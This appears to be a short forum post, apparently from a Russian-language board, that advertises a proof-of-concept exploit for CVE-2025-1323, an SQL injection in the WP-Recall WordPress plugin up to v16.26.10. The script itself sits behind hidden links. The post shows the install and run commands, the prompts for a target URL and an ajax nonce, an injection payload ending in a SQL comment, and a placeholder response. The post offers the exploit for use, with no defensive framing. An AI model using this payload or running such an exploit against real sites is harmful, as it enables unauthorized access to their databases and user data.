CVE-2025-1323 WP-Recall plugin sqli

[SpecIT]

WP-Recall ≤ v16.26.10
poc:

Вы должны быть зарегистрированы для просмотра ссылок

pip install requests

python CVE-2025-1323.py

Enter target URL (e.g.

Вы должны быть зарегистрированы для просмотра ссылок

):

Вы должны быть зарегистрированы для просмотра ссылок

Enter ajax_nonce value: 37c11b0c06

[*] Sending payload: '; SELECT user(); --

[+] Response received:
{"result":"SQL error or leaked data here..."}